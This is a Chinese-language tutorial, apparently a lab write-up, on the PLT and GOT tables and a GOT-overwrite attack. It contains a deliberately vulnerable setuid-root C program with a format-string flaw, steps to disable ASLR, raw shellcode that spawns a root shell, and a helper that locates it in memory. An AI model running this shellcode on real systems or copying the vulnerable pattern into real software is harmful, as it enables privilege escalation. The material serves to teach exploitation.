1. 程式人生 > >PLT , GOT 介紹及簡單 GOT 攻擊實驗

PLT , GOT 介紹及簡單 GOT 攻擊實驗

第一部分 過程連線表PLT

由於程式可以用共享庫的方式多次使用同一個函式,所以通過一張表來定義所有的函式是非常有用的。為了能利用這種手段,在編譯程式會使用一個專用區域,這個區域稱為“過程連線表(PLT)”。
PLT有許多調轉指令構成,每一個指令對應一個函式地址的指標。PLT猶如一個跳板,每次需要呼叫某個函式時,控制權將由PLT傳遞。
例如下面的程式:

//got_vul.c
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[1024];
//The following statement has a buffer overflow problem
strncpy(buffer, str, sizeof(buffer)-1); printf(buffer); exit(0); } int main(int argc, char **argv) { bof(argv[1]); return 1; }

我們利用下面的命令把它編譯成SetUID root程式:

#gcc -fno-stack-protector got_vul.c -g -o got_vul
#chmod 4755 got_vul

通過 $objdump –d –j .plt ./got_vul
我們可以檢視PLT的具體內容如下:

這裡寫圖片描述

上面的這些指令中,我標識的地址就是exit函式入口地址的指標。
看到這裡,我們自然就會有一種想法:
如果退出函式使用的調轉指令指向我們的shellcode,那麼我們就可以製造root shell漏洞了。
但是不幸的是,正如下圖所示PLT是隻讀的


因此無法改變它的轉移指標。

這裡寫圖片描述

但是上述調轉指標並不是直接指向某一指令,而是指向存放這個指令的記憶體區域首地址。
例如0x804a010指標指向存放exit函式所在的記憶體區域。更重要的是這個區域是可寫的,這一區域就是下面所說的全域性轉移表GOT。

第二部分 全域性轉移表(GOT)

正如上面所討論的那樣,PLT中轉移函式的入口地址的指標存放在PLT表中(是隻讀的),但是這些函式的入口地址卻是存放在另一個可寫區域,我們把這個區域稱為全域性轉移表(GOT)。
利用objdump –R ./got_vul我們可以檢視這些函式的轉移地址如下:

這裡寫圖片描述

我們的想法:
把shellcode的地址放到環境變數中,並預知其實際地址。如果我們能在GOT表中用Shellcode的地址重0x0804a010所指向的區域,那麼當程式認為正在呼叫exit函式時,實際上卻是在呼叫我們的shellcode。

第三部分 攻擊 GOT

我們的攻擊過程如下:

  • 第一步:關閉記憶體地址隨機化機制
    sudo sysctl -w kernel.randomize_va_space
  • 第二步:編譯got_vul.c為set-UID root程式,編譯時加上編譯選項-fno-protector
  • 第三步:在環境變數中存放shellcode
export MyShell=$(perl -e 'print "\x90"x4800 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"')
  • 第四步:利用下面函式編譯的程式獲取Shellcode 地址
//getenvaaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
       char *ptr;
       if(argc < 3)
       {
              printf("Usage:%s<environment var> <target program name>\n",argv[0]);
              exit(0);
       }
       ptr = getenv(argv[1]);   
       ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
//argv[0]:正在執行的程式名稱,本程式中:getenvaaddr
//argv[2]:即將執行的漏洞程式的名稱(包括路徑),本程式中:./got_vul
//Linux ubuntu 系統中已經驗證兩者名稱差一個字元,就會有兩個位元組的地址偏移
       printf("%s will be at %p\n", argv[1], ptr);
       return 0;
}
  • 第五步:改寫GOT並進行攻擊

    獲取地址
    這裡寫圖片描述

    進行攻擊
    這裡寫圖片描述

參考文獻:
Hacking: Chapter 0x300.EXPLOITATION.The Art of Exploitation, 2nd Edition ,by Jon Erickson.